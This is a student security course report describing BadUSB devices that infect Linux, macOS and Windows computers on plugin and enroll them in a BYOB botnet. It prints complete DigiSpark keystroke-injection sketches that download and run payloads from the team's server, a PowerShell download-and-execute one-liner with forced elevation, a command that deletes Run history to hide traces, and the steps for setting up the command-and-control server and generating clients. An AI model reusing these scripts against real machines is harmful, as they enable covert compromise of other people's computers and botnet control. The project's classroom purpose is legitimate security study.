CSC154: Project Report

Ryan Kozak, Pawan Chandra, Tom Amir



2019-11-30

Contents

Objective	3
Botnet C&C	3
Command and Control Server	3
BadUSB	6
DigiSpark Setup	6
Linux Payload	9
Linux/OSX Loader	9
Python Payload for Botnet	10
Mac (OSX) Payload	11
Windows	13
Windows Payload for Botnet	14
Examples	14
Demo Video	14
Linux/OSX	14
Windows	15
Conclusion	15
Limitations	15
BadUSB	15
BYOB Botnet	16
Further	16
References	16

Objective

The objective of this project was to create BadUSB devices, that upon plugin, infect victim computers with malware configured to join a botnet.

Botnet C&C

For our botnet we're using Build Your Own Botnet. Our ultimate goal was an easily deployed and managed *command and control server*, with the ability to generate cross platform compatible clients.

Command and Control Server

- Digital Ocean
- Domain Name
- Build Your Own Botnet (BYOB)

We've created a VPS on Digital Ocean to run our C&C server. We're using an Ubuntu 18.04 droplet at the cost of \$5 per month. Additionally, we've purchased the domain sheep.casa, and directed it towards our C&C server.

arch by resource n	ame or IP (CtrI+B)			Create ∨	© 4	USAGE \$13.46	
CSC 154 Class project / Educational purposes / California State University CSC154 project. Build Your Own Botnet server for c						esources	
Resources Ac	tivity Settings						
DROPLETS (1)							
• 💧 sheep	D.Casa				C	» ···	
Image	📀 Ubuntu 18.04.3 (LTS) x64	Region	SF01				
Size	1 vCPUs	IPv4	138.68.220.4				
	1GB / 25GB Disk	IPv6	Enable				
	Resize	Private IP	Enable				

Figure 1: Botnet C&C server droplet on Digital Ocean.

CSC154: Project Report



Figure 2: ASCII sheep, just for fun.

The botnet framework we chose (BYOB) was installed via git clone git@github.com: malwaredllc/byob.git && cd ./byob/byob && pip install -r requirements.txt && mv ../../byob /opt/. This clones the repository, installs the required python modules, and moves the directory to into /opt.

To launch the botnet we've created a bash script setting the host to sheep.casa and the listening port to 1337. This script is placed in the /root directory.

```
1 #!/bin/bash
2 cd /opt/byob/byob && python server.py --port 1337
```

```
x@wartop:~/Research/CSUS-CSC154$ ssh root@sheep.casa
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
  System information as of Thu Oct 10 17:39:03 UTC 2019
                                                          94
  System load: 0.0
                                    Processes:
                16.4% of 24.06GB
                                    Users logged in:
  Usage of /:
                                                          0
  Memory usage: 29%
                                    IP address for eth0: 138.68.220.4
  Swap usage:
                0%
 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Last login: Thu Oct 10 17:38:50 2019 from 209.58.129.100
root@byob:~# ./bootBYOB.sh
88
                                     88
88
                                     88
88
                                     88
88,dPPYba,
                                     88, dPPYba,
                          ,adPPYba,
            8b
                      d8
88P'
        "8a
            `8b
                    d8'
                         a8"
                                 "8a 88P
                                               8a
88
         d8
              `8b
                   d8'
                         8b
                                  d8 88
                                               d8
                          ad, ,a8" 88b,
`"YbbdP"' ov"
                                             ,a8"
88b, ,a8
8Y"Ybbd8"'
       ,a8"
               8b,d8'
                         "8a,
                                     8Y"Ybbd8"'
                 Y88'
                d8'
               d8'
[?] Hint: show usage information with the 'help' command
[root @ /opt/byob/byob]>sessions
[root @ /opt/byob/byob]>
```

Figure 3: Botnet server running, no current sessions.

BadUSB

To create our BadUSB devices we've used the DigiSpark development board by Digistump. These devices are recognized as USB keyboards by the victims' machines, and will execute keystrokes to deliver our payload.

DigiSpark Setup

We've purchased our BadUSB (DigiSpark) devices via Amazon. We have 12 of these devices spread across our members. They cost about \$3 dollars each.



Figure 4: DigiSpark boards on Amazon.

In order to program our USB devices we've installed the Arduino IDE.

Download the Arduino IDE



Figure 5: Download the Arduino IDE.

We've then configured the Arduino IDE to include the DigiSpark board so that we may use the DigiKeyboard.hlibrary.

		sketch_oct09a Arduino 1.8.10			
Eile Edit Sketch Tools Help					
					<u>@</u>
sketch_oct09a					
<pre>sketch_oct09a void setup() { // put your setup code here, to run once } void loop() { // put your main code here, to run repea } }</pre>	Settings Network Sketchbook location: /home/x/Arduino Editor language: Editor fon size: Interface scale: Theme: Show verbose output during: Compiler warnings: Display line numbers - Venfy code after upload - Check for updates on startup Use accessibility features Additional Boards Manager URI More preferences can be editee /home/x/arduino15/preference/ (edit only when Arduino is not	Preferences System Default 12 Additional Boards Manager URLs 2 Enter additional URLs, one for each row 0e http://digistump.com/package_digistump_index.ge cc No cd interfore list of undefined boards cooper URLs st OK of directly in the file statuming) Statume	(requires re × son Cancel	* Browse estart of Arduino) OK Cancel	
1					Arduino/Genuino Uno

Figure 6: Add DigiStump board manager url to configuration.

CSC154: Project Report

2019-11-30

Activit	ies 🛛 🧧 processing-app-Base 🔫	Wed 6:26 PM 🛛 🔶 71.2 °F	- Ú	9	ջ 😤 🕪 🗋 👻
. 🚍		sketch_oct09a Arduino 1.8.10			- 🗆 ×
2	File Edit Sketch Tools Help				₽ [.]
	sketch_oct09a				
۳	// put your setup code here, to	Plin Anco-			
8	}	Duarus mailager ^			
	<pre>void loop() { // put your main code here, to</pre>				
	}	Industruino SAMD Boards (32-bits ARM Cortex-M0+) by Industruino Boards included in this package			
-		Online.Help More Info			
ij		Digistump AVR Baards by Digistump Baards included in this package. Digipark (Pbeds - 16 Smitz), Digispark Pro (Default 16 Mitz), Digispark Pro (16 Mitz) (32 byte buffer), Digispark			
<u></u>		Llénie - Vo USB). Dejspark (Bmhz - No USB). Dejspark (Imhz - No USB). More Info More Info			
• 🎌		Digistump SAM Boards (32-bits ARM Cortex-M3) by Digistump Digistum process			
		Online Help More Info			
6		Online Help Downloading boards definitions. Downloaded 1,339kb of 2,491kb. Cancel			
0					l
· ᅇ					
	1				Arduino/Genuino Uno

Figure 7: Board manager downloading DigiStump's board libraries.

Activi	ties 🛛 😔 processing-app-Base 👻		Wed 6:28	PM 🔅 71.2 °F	 - TĴĴ	2	V	? ● □ -
			sketch_oct0	9a Arduino 1.8.10				- • ×
	Eile Edit Sketch Tools Help							
_	Auto Format	Ctrl+T						.0.
• >_	Archive Sketch							
	sketch_oct0 Fix Encoding & Reload							•
IJ	void setup() Manage Libraries	Ctrl+Shift+M						Π
-	// put you Serial Plotter	Ctrl+Shift+I						I
	WiFi101 / WiFiNINA Firmware Updater							I
S S	void loop() Board: "LilyPad Arduino"		Boards Manager					I
	// put you Processor: "ATmega328P"		Arduino Mega ADK					I
• 🔁	Port Port		Arduino Leonardo					I
	Get Board Info		Arduino Leonardo ETH					I
• 🖘	Programmer: "AVRISP mkll"		Arduino/Genuino Micro					I
	Burn Boottoader		Arduino Esplora					
-24			Arduino Mini					I
			Arduino Eio					
			Arduino BT					
000			LilyPad Arduino USB					
		•	LilyPad Arduino					I
S 20			Arduino Pro or Pro Mini					
~~			Arduino NG or older					I
			Arduino Robot Control					I
N 200			Arduino Robot Motor					I
			Adafruit Circuit Playground					I
			Arduino Yún Mini					
		4	Arduino Industrial 101					I
			Linino One					
		۰ ۱	Arduino Uno WiFi					
-			Digistump AVR Boards					
۲			Digispark (Default - 16.5mhz)					
			Digispark Pro (Jeradic 16 Minz)					
00			Digispark Pro (16 Mhz) (64 byte buffer)					
			Digispark (16mhz - No USB)					
			Digispark (8mhz - No USB)					
	1	· · · · · · · · · · · · · · · · · · ·	Digispark (1mhz - No USB)					LilyPad Arduino

Figure 8: Set board to Digispark Default.

Linux Payload

The following code is what we've developed to infect Linux machines upon plugin.

```
#include "DigiKeyboard.h"
1
2
3
4 /***
5
    * This is an attack for Linux machines. It opens up a terminal window.
6
       It then downloads the loader, sets it to executable,
    * executes it, and closes the terminal window.
7
8
   *
9
   ***/
11 void setup() {
12
     DigiKeyboard.delay(2000);
     DigiKeyboard.sendKeyStroke(KEY_T , MOD_CONTROL_LEFT | MOD_ALT_LEFT);
13
14
     DigiKeyboard.delay(600);
15
     DigiKeyboard.print("nohup wget https://sheep.casa/payloads/
        linux_loader -P /tmp && nohup chmod +x /tmp/linux_loader && nohup
         /tmp/linux_loader & exit");
     DigiKeyboard.delay(200);
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
17
     DigiKeyboard.delay(1000);
18
19 }
20
21 void loop() {}
```

As you can see above, the code delays for two seconds to allow the machine to register the device. After that it executes keystrokes to open up the terminal, and waits .6 seconds. Next it executes shell commands to download our bash script called linux_loader from the server. It then sets the script to executable, and executes it as a background process before exiting.

The code for our linux_loader and linux_payload.py can be found in the section below.

Linux/OSX Loader

Our BadUSB attack downloads and executes the loader script. For our attack on Linux and OSX machines this is a bash script called linux_loader, which can be found below.

1 #!/bin/bash

```
2 nohup wget https://sheep.casa/payloads/linux_payload.py -P /tmp &&
    python /tmp/linux_payload.py
```

The loader script downloads our python payload and executes it to join our botnet. This script is run in the background so that the terminal window is not present while the botnet client (payload) is running.

Python Payload for Botnet

A payload is generated via BYOB's client.py script. We've generated our Linux payload by issuing python client.py --name linux_payload --encrypt --compress --freeze sheep .casa 1337.



Figure 9: Generating our python payload.

In order to host our payloads, we've installed Apache 2 on the C&C server. In a real world attack this would be pretty bad practice, but it's a matter of convenience for us. The payload generated above was moved from BYOB's directory to /var/www/html/payloads. This is where our victims will download the payload from.

Index of /payloads × +		
(←) → (C) ▲ https://sheep.casa/payloads/	⊌ ☆	
Index of /payloads		
Name Last modified Size Description		
 ▶ Parent Directory ▶ Inux_loader 2019-09-24 15:18 38 ▶ Inux_payload.py 2019-09-21 00:43 338 		
Apache/2.4.29 (Ubuntu) Server at sheep.casa Port 443		

Figure 10: /payloads directory hosting our malicious files.

Below is our linux_payload.py file generated by BYOB.



Mac (OSX) Payload

In order to prevent the keyboard configuration dialog box from appearing when the DigiSpark is plugged into an Apple computer, we must configure the DigiSpark to appear as if it's an Apple keyboard.

VID and PID are defined in the file ~/.arduino15/packages/digistump/hardware/avr/1.6.7/ libraries/DigisparkKeyboard/usbconfig.h. We will replace the existing file with a *modified Apple version* when compiling the script for OSX. When we change Vendor Name and Device Name, we also have to adapt the constants for the name length.

The following code is what we've developed to infect Apple OSX machines upon plugin.

```
1 #include "DigiKeyboard.h"
2
3 /***
4 *
5 * This is an attack for Mac (OSX) machines. It opens up a terminal
window, and executes the bash command. It then downloads the loader
```

```
, sets it to executable,
    * executes it, and closes the terminal window.
6
7
   *
8
   ***/
9
10 #define MOD_CMD_LEFT 0x00000008
11
12 void setup() {
     DigiKeyboard.delay(2000);
13
     DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
14
15
     DigiKeyboard.delay(500);
16
     DigiKeyboard.print("terminal");
17
     DigiKeyboard.delay(500);
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
18
     DigiKeyboard.delay(1000);
19
     DigiKeyboard.print("bash");
20
     DigiKeyboard.delay(1000);
21
22
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
23
     DigiKeyboard.delay(1000);
24
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
     DigiKeyboard.print("nohup wget https://sheep.casa/payloads/
25
         linux_loader -P /tmp && nohup chmod +x /tmp/linux_loader && nohup
         /tmp/linux_loader & exit");
26
     DigiKeyboard.delay(500);
     DigiKeyboard.println("disown $!");
27
28
     DigiKeyboard.delay(500);
     DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT);
29
     DigiKeyboard.delay(500);
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
32
     DigiKeyboard.delay(10000);
33 }
34
35 void loop() {
37 }
```

As you can see above, is very similar to what we've used to exploit Linux machines. The major difference is the way the terminal is opened. We've had to modify our OSX version to use DigiKeyboard. sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);, which will open Spotlight search. The code will delay for .5 seconds, and search "terminal", delay for .5 seconds, and press enter, opening the terminal.

After this, in order to ensure we aren't using Z Shell, we'll enter bash. From this point on the rest of the

code is exactly the same as our Linux payload. It too downloads linux_loader, which downloads and runs linux_payload.py.

Windows

Below is the DigiSpark payload we developed to infect Windows victims.

```
#include "DigiKeyboard.h"
1
2
3 void setup()
4 {
5
     pinMode(1, OUTPUT); //LED on Model A
     digitalWrite(1, HIGH);
6
     DigiKeyboard.delay(500);
7
8
     digitalWrite(1, LOW);
9
     DigiKeyboard.sendKeyStroke(0);
10
     DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
     DigiKeyboard.delay(100);
11
     DigiKeyboard.println("powershell Start-Process powershell -Verb runAs
12
         ");
13
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
14
     DigiKeyboard.delay(1000);
     DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
16
     DigiKeyboard.delay(1000);
17
     DigiKeyboard.println("$down = New-Object System.Net.WebClient; $url =
          'https://sheep.casa/payloads/windows_payload.exe'; $file = '
        windows_payload.exe'; $down.DownloadFile($url,$file); $exec = New-
        Object -com shell.application; $exec.shellexecute($file); exit;");
     DigiKeyboard.delay(1000);
18
19
     DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
     DigiKeyboard.delay(100);
20
     // Clear run command history
21
     DigiKeyboard.println("reg delete HKEY_CURRENT_USER\\Software\\
22
        Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f");
     DigiKeyboard.delay(100);
23
24
     DigiKeyboard.sendKeyStroke(KEY_ENTER);
25
     DigiKeyboard.delay(100);
26
     digitalWrite(1, HIGH);
27
  }
28
29 void loop() {}
```

The above code opens powershell to download and execute our windows_payload.exe.

Windows Payload for Botnet

To generate a Windows client for our botnet, we must run the code from a Windows machine to create an executable. Unfortunately, BYOB has a significant amount of bugs at the moment, and cross platform compatibility is not as it claims to be. **To successfully connect to our botnet from Windows, we needed to host the C&C server on a Windows machine.**

Examples

Demo Video

https://sheep.casa/csc154_project.m4v

Linux/OSX

Below is an example of a client connecting to the C&C server. This is actually Ryan's laptop connecting, after plugging the BadUSB device into it.

		root@byob: ~		
File Edit View Search	n Terminal Help			
<pre>bootBYOB.sh root@byob:~# ./bootB</pre>	YOB.sh			
88 88 88,dPPYba, 8b 88,dP "8a `8b 88 d8 `8b d8 88b, "a8" `8b,d8 84, ~8b,d8 84, ~8b,d8 84, ~8b,d8 84, ~8b,d8 84, ~8b,d8 84, ~8b,d8 84, ~8b,d8 85, ~8b,d8 86, ~8b,d8 88, ~8b,d8 86, ~8b,d8 86, ~8b,d8 88, ~8b,d8 86, ~8b,d8 86	88 88 88 d8 ,adPPYba, 88,dPPYba, d8' a8' "3a 88,PPY"8a 8' 8b d6 88 d6 '"3a, ,a8" 88b, ,a8" '"Ybbdp"' 8Y"Ybbd8"'			
[?] Hint: show usag	e information with the 'help' command			
[root @ /opt/byob/by	ob]>sessions			
[root @ /opt/byob/by	ob]>			
<pre>[+] Connection: 209. Session: 0 Started: Thu Oct</pre>	58.129.100 10 19:31:07 2019			
[root @ /opt/byob/by	ob]> sessions			
0 username administrator sessions uid local_ip joined last_online public_ip platforn architecture mac_address device	x False True 709-10-10 19:31:09.405804 2019-10-10 19:31:09.405804 2019-10-10 19:31:09.406071 299.58.129.100 Uinux2 64 E8:2A:EA:D0:30:77 wartop			
[root @ /opt/byob/by	ob]>			

Figure 11: Session on x at wartop (Ryan's Laptop).

Windows

Below is an example of a Windows client connecting to a Windows C&C host,



Figure 12: Windows client connection.

Conclusion

We've configured our BadUSB devices to infect Linux, Windows and OSX machines. Upon plugin, our device will execute a payload to join our Botnet. Below is an elaboration on the successes and failures of the project.

Limitations

BadUSB

Ideally, the same BadUSB device would be able to infect Windows, OSX, and Linux. However, from what we've researched this may not be technically achievable given the way USB functions. There seems to be no way to query information from the machine, the device simply sends keystrokes blindly. At this time a DigiSpark must be configured to infect one specific operating system, because currently we do not have knowledge of how to detect which operating system a victim's computer is running.

We did attempt loading all of our payloads onto one device (Hail Mary). This failed because arbitrary keystrokes were executed on a machine either before or after that machine's OS specific code was run. This resulted in unpredictable behavior, which prevented even the correct code from executing sometimes.

BYOB Botnet

The botnet framework we chose to use is still very buggy. By the time we concluded that certain limitations could not be overcome, it was no longer an option to pivot the project to a new botnet framework. It turns out the cross platform compatibility of BYOB is not as it claims, as we were not able to connect windows victims to our Linux server. Although we compiled bots on both python 2 and 3, and tried numerous workarounds suggested on Github, it simply would not work. Issues *1, 2* on the *GitHub repository* for the framework echo our own issues, yet remain unresolved. We raised an issue ourselves at the beginning of the semester, but it was not addressed at the time of writing this report.

Further

If we were to continue working on this project we would need to find a better botnet framework, or develop our own simple C&C server to handle reverse shells from victims. The bugs in BYOB are too numerous for its lack of support from the developer.

We would still like to explore the ability to infect all operating systems using the same BadUSB device, but as we said, it couldn't be achieved at this time.

Ultimately our BadUSB devices were extremely successful on all platforms, despite our inability to use the same device for each. Our botnet endeavor was less successful in the end, but we learned a great deal, and if we had time to continue the project we're aware of what direction we would go in to achieve what we were trying to this semester. Time was our greatest limiting factor for this project.

References

- 1. Build Your Own Botnet
- 2. DigiSpark Payloads.
- 3. DigiSpark Apple Keyboard Mod Explanation
- 4. DigiSpark Apple Keyboard usbconfig.h